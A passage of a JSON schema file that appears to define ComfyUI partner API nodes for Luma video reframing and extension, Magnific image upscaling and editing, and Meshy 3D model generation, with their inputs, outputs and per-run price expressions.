"output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"min\": 0.54, \"max\": 1.08},\n \"540p\": {\"min\": 0.72, \"max\": 1.44},\n \"720p\": {\"min\": 1.08, \"max\": 2.16},\n \"1080p\": {\"min\": 2.16, \"max\": 4.32}\n };\n $r := $lookup($p, widgets.resolution);\n {\"type\": \"range_usd\", \"min_usd\": $r.min, \"max_usd\": $r.max, \"format\": {\"note\": \"(by source length)\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoReframeNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to reframe. Up to 30 seconds."}], "prompt": ["STRING", {"tooltip": "Describes how the newly exposed canvas areas should be filled.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "aspect_ratio", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoReframeNode", "display_name": "Luma Ray 3.2 Video Reframe", "description": "Change the aspect ratio of an existing video, using Luma Ray 3.2 to fill the newly exposed canvas areas. Source video up to 30 seconds. Billed per second of output.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.03, \"540p\": 0.06, \"720p\": 0.12, \"1080p\": 0.36};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution), \"format\": {\"suffix\": \"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ExtendVideoNode": {"input": {"required": {"source_generation_id": ["STRING", {"tooltip": "generation_id of the prior Ray 3.2 video to extend. Connect the generation_id output of another Luma Ray 3.2 node.", "default": "", "multiline": false}], "direction": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Forward continues after the prior clip; backward is prepended before it.", "options": [{"key": "Forward (continue after)", "inputs": {"required": {"loop": ["BOOLEAN", {"tooltip": "Loop the extended video seamlessly (forward extend only).", "default": false}]}}}, {"key": "Backward (lead-in before)", "inputs": {"required": {}}}]}], "prompt": ["STRING", {"tooltip": "Text prompt for the new content.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source_generation_id", "direction", "prompt", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ExtendVideoNode", "display_name": "Luma Ray 3.2 Extend Video", "description": "Extend a previous Ray 3.2 generation forward (continue after it) or backward (lead-in before it). Connect the generation_id output of a prior Luma Ray 3.2 node. Extensions are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"default": "", "multiline": true}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "optimized_for": ["COMBO", {"multiselect": false, "options": ["standard", "soft_portraits", "hard_portraits", "art_n_illustration", "videogame_assets", "nature_n_landscapes", "films_n_photography", "3d_renders", "science_fiction_n_horror"]}], "creativity": ["INT", {"default": 0, "min": -10, "max": 10, "display": "slider"}], "hdr": ["INT", {"tooltip": "The level of definition and detail.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "resemblance": ["INT", {"tooltip": "The level of resemblance to the original image.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "fractality": ["INT", {"tooltip": "The strength of the prompt and intricacy per square pixel.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "engine": ["COMBO", {"advanced": true, "multiselect": false, "options": ["automatic", "magnific_illusio", "magnific_sharpy", "magnific_sparkle"]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum pixel limit.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "scale_factor", "optimized_for", "creativity", "hdr", "resemblance", "fractality", "engine", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerCreativeNode", "display_name": "Magnific Image Upscale (Creative)", "description": "Prompt\u2011guided enhancement, stylization, and 2x/4x/8x/16x upscaling. Maximum output: 25.3 megapixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}, {"name": "auto_downscale", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ad := widgets.auto_downscale;\n $mins := $ad\n ? {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.515}\n : {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 0.515, \"4x\": 0.844, \"8x\": 1.015, \"16x\": 1.187};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerPreciseV2Node": {"input": {"required": {"image": ["IMAGE", {}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "flavor": ["COMBO", {"tooltip": "Processing style: sublime for general use, photo for photographs, photo_denoiser for noisy photos.", "multiselect": false, "options": ["sublime", "photo", "photo_denoiser"]}], "sharpen": ["INT", {"tooltip": "Image sharpness intensity. Higher values increase edge definition and clarity.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Intelligent grain/texture enhancement to prevent the image from looking too smooth or artificial.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "ultra_detail": ["INT", {"tooltip": "Controls fine detail, textures, and micro-details added during upscaling.", "default": 30, "min": 0, "max": 100, "display": "slider"}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum resolution.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "scale_factor", "flavor", "sharpen", "smart_grain", "ultra_detail", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerPreciseV2Node", "display_name": "Magnific Image Upscale (Precise V2)", "description": "High-fidelity upscaling with fine control over sharpness, grain, and detail. Maximum output: 10060\u00d710060 pixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mins := {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 2.045, \"4x\": 2.545, \"8x\": 2.889, \"16x\": 3.06};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageStyleTransferNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to apply style transfer to."}], "reference_image": ["IMAGE", {"tooltip": "The reference image to extract style from."}], "prompt": ["STRING", {"default": "", "multiline": true}], "style_strength": ["INT", {"tooltip": "Percentage of style strength.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "structure_strength": ["INT", {"tooltip": "Maintains the structure of the original image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "flavor": ["COMBO", {"tooltip": "Style transfer flavor.", "multiselect": false, "options": ["faithful", "gen_z", "psychedelia", "detaily", "clear", "donotstyle", "donotstyle_sharp"]}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "advanced": true, "multiselect": false, "options": ["balanced", "definio", "illusio", "3d_cartoon", "colorful_anime", "caricature", "real", "super_real", "softy"]}], "portrait_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Enable portrait mode for facial enhancements.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"portrait_style": ["COMBO", {"tooltip": "Visual style applied to portrait images.", "multiselect": false, "options": ["standard", "pop", "super_pop"]}], "portrait_beautifier": ["COMBO", {"tooltip": "Facial beautification intensity on portraits.", "multiselect": false, "options": ["none", "beautify_face", "beautify_face_max"]}]}}}]}], "fixed_generation": ["BOOLEAN", {"tooltip": "When disabled, expect each generation to introduce a degree of randomness, leading to more diverse outcomes.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "reference_image", "prompt", "style_strength", "structure_strength", "flavor", "engine", "portrait_mode", "fixed_generation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageStyleTransferNode", "display_name": "Magnific Image Style Transfer", "description": "Transfer the style from a reference image to your input image.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageRelightNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to relight."}], "prompt": ["STRING", {"tooltip": "Descriptive guidance for lighting. Supports emphasis notation (1-1.4).", "default": "", "multiline": true}], "light_transfer_strength": ["INT", {"tooltip": "Intensity of light transfer application.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "style": ["COMBO", {"tooltip": "Stylistic output preference.", "multiselect": false, "options": ["standard", "darker_but_realistic", "clean", "smooth", "brighter", "contrasted_n_hdr", "just_composition"]}], "interpolate_from_original": ["BOOLEAN", {"tooltip": "Restricts generation freedom to match original more closely.", "advanced": true, "default": false}], "change_background": ["BOOLEAN", {"tooltip": "Modifies background based on prompt/reference.", "advanced": true, "default": true}], "preserve_details": ["BOOLEAN", {"tooltip": "Maintains texture and fine details from original.", "advanced": true, "default": true}], "advanced_settings": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Fine-tuning options for advanced lighting control.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"whites": ["INT", {"tooltip": "Adjusts the brightest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "blacks": ["INT", {"tooltip": "Adjusts the darkest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "brightness": ["INT", {"tooltip": "Overall brightness adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "contrast": ["INT", {"tooltip": "Contrast adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "saturation": ["INT", {"tooltip": "Color saturation adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "multiselect": false, "options": ["automatic", "balanced", "cool", "real", "illusio", "fairy", "colorful_anime", "hard_transform", "softy"]}], "transfer_light_a": ["COMBO", {"tooltip": "The intensity of light transfer.", "multiselect": false, "options": ["automatic", "low", "medium", "normal", "high", "high_on_faces"]}], "transfer_light_b": ["COMBO", {"tooltip": "Also modifies light transfer intensity. Can be combined with the previous control for varied effects.", "multiselect": false, "options": ["automatic", "composition", "straight", "smooth_in", "smooth_out", "smooth_both", "reverse_both", "soft_in", "soft_out", "soft_mid", "style_shift", "strong_shift"]}], "fixed_generation": ["BOOLEAN", {"tooltip": "Ensures consistent output with the same settings.", "default": true}]}}}]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to transfer lighting from."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "light_transfer_strength", "style", "interpolate_from_original", "change_background", "preserve_details", "advanced_settings"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageRelightNode", "display_name": "Magnific Image Relight", "description": "Relight an image with lighting adjustments and optional reference-based light transfer.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageSkinEnhancerNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The portrait image to enhance."}], "sharpen": ["INT", {"tooltip": "Sharpening intensity level.", "default": 0, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Smart grain intensity level.", "default": 2, "min": 0, "max": 100, "display": "slider"}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Processing mode: creative for artistic enhancement, faithful for preserving original appearance, flexible for targeted optimization.", "options": [{"key": "creative", "inputs": {"required": {}}}, {"key": "faithful", "inputs": {"required": {"skin_detail": ["INT", {"tooltip": "Skin detail enhancement level.", "default": 80, "min": 0, "max": 100, "display": "slider"}]}}}, {"key": "flexible", "inputs": {"required": {"optimized_for": ["COMBO", {"tooltip": "Enhancement optimization target.", "multiselect": false, "options": ["enhance_skin", "improve_lighting", "enhance_everything", "transform_to_real", "no_make_up"]}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sharpen", "smart_grain", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageSkinEnhancerNode", "display_name": "Magnific Image Skin Enhancer", "description": "Skin enhancement for portraits with multiple processing modes.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\"creative\": 0.29, \"faithful\": 0.37, \"flexible\": 0.45};\n {\"type\":\"usd\",\"usd\": $lookup($rates, widgets.mode)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "style": ["COMBO", {"multiselect": false, "options": ["realistic", "sculpture"]}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "style", "should_remesh", "symmetry_mode", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextToModelNode", "display_name": "Meshy: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.8}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRefineNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color. Note: this should be set to false when using Sculpture style, as Sculpture style generates its own set of PBR maps.", "advanced": true, "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_pbr", "texture_prompt"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRefineNode", "display_name": "Meshy: Refine Draft Model", "description": "Refine a previously created draft model.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "image": ["IMAGE", {}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyImageToModelNode", "display_name": "Meshy: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 1.2, \"false\": 0.8};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyMultiImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 2, "max": 4}}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "images", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyMultiImageToModelNode", "display_name": "Meshy: Multi-Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 0.6, \"false\": 0.2};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRigModelNode": {"input": {"required": {"meshy_task_id": ["MESHY_TASK_ID", {}], "height_meters": ["FLOAT", {"tooltip": "The approximate height of the character model in meters. This aids in scaling and rigging accuracy.", "default": 1.7, "min": 0.1, "max": 15.0}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "The model's UV-unwrapped base color texture image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["meshy_task_id", "height_meters"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_RIGGED_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], 